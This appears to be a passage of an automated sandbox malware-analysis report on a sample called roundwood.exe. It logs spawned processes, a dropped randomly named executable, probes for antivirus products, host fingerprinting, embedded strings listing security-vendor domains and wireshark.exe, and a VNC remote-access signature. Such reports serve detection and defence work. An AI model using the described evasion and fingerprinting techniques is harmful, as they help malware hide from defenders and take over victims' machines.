Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6300 -ip 6300Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6300 -s 744Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 6648 -ip 6648Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5168 -ip 5168Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5616 -ip 5616Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2672 -ip 2672Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 4764 -ip 4764Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3656 -ip 3656Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4460 -ip 4460Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 6648 -ip 6648Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2180 -ip 2180Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe "C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeFile opened: CA HIPS KmxAgentJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeFile opened: Agnitum Outpost firewal \pipe\acsipc_serverJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeFile opened: Webroot PREVX C:\ProgramData\PrevxCSI\csidb.csiJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeFile opened: AVG C:\Program Files (x86)\AVG\AVG9\dfncfg.datJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeWindow found: AVP NULL ____AVP.RootJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened: CA HIPS KmxAgentJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened: Agnitum Outpost firewal \pipe\acsipc_serverJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened: Webroot PREVX C:\ProgramData\PrevxCSI\csidb.csiJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened: AVG C:\Program Files (x86)\AVG\AVG9\dfncfg.datJump to behavior
Source: C:\Windows\apppatch\svchost.exeWindow found: AVP NULL ____AVP.RootJump to behavior
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000000.2392369672.0000000001711000.00000002.00000001.00040000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000005.00000000.2394956264.0000000001261000.00000002.00000001.00040000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000000.2415556290.00000000013C1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
Source: roundwood.exe, roundwood.exe, 00000000.00000003.2027860859.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, roundwood.exe, 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2418070085.0000000003A40000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000000.2392369672.0000000001711000.00000002.00000001.00040000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000005.00000000.2394956264.0000000001261000.00000002.00000001.00040000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000000.2415556290.00000000013C1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
Source: roundwood.exe, 00000000.00000003.2027860859.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, roundwood.exe, 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, svchost.exe, 00000002.00000003.2418070085.0000000003A40000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: avast.comkasperskydrwebeset.comantiviraviravirustotalvirusinfoz-oleg.comkltest.org.rutrendsecureanti-malware.comodo.comavast.comkasperskydrwebeset.comantiviraviravirustotalvirusinfoz-oleg.comkltest.org.rutrendsecureanti-malware.comodo.comgoogle.comgoogle.comDnsapi.dllDnsQuery_ADnsQuery_UTF8DnsQuery_WQuery_Mainws2_32.dllgetaddrinfogethostbynameinet_addrqwrtpsdfghjklzxcvbnmeyuioa1676d5775e05c50b46baa5579d4fc7;%s%s!verifMozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)/login.php6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9100016d3ad29879a90b4dd1b4f76e82166ca3T2data.txt\*.*...\ntdll.dllZwQuerySystemInformationGlobal\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}fuckGlobal\HighMemoryEvent_%08xexplorer.exeShell_TrayWnd
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000000.2392369672.0000000001711000.00000002.00000001.00040000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000005.00000000.2394956264.0000000001261000.00000002.00000001.00040000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000000.2415556290.00000000013C1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00413DA0 cpuid 0_2_00413DA0
Source: C:\Windows\apppatch\svchost.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDateJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeQueries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00402340 CreateFileA,WriteFile,WriteFile,GetSystemTimeAsFileTime,WriteFile,CloseHandle,0_2_00402340
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00403920 GetModuleFileNameA,GetModuleFileNameA,strstr,strstr,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,0_2_00403920
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D048C0 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,IsUserAnAdmin,IsUserAnAdmin,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle,2_2_02D048C0
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00403310 GetVersionExA,GetCurrentProcess,OpenProcessToken,GetTokenInformation,CloseHandle,0_2_00403310
Source: roundwood.exe, roundwood.exe, 00000000.00000003.2027860859.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, roundwood.exe, 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2418070085.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, svchost.exe, 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272240736.0000000002915000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273788686.0000000002D63000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272240736.00000000028C0000.00000040.00001000.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2748593286.0000000000E70000.00000040.00000001.00020000.00000000.sdmpBinary or memory string: wireshark.exe

Remote Access Functionality

barindex
Contains VNC / remote desktop functionality (version string found)
Source: roundwood.exeString found in binary or memory: RFB 003.006
Source: roundwood.exe, 00000000.00000003.2027860859.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
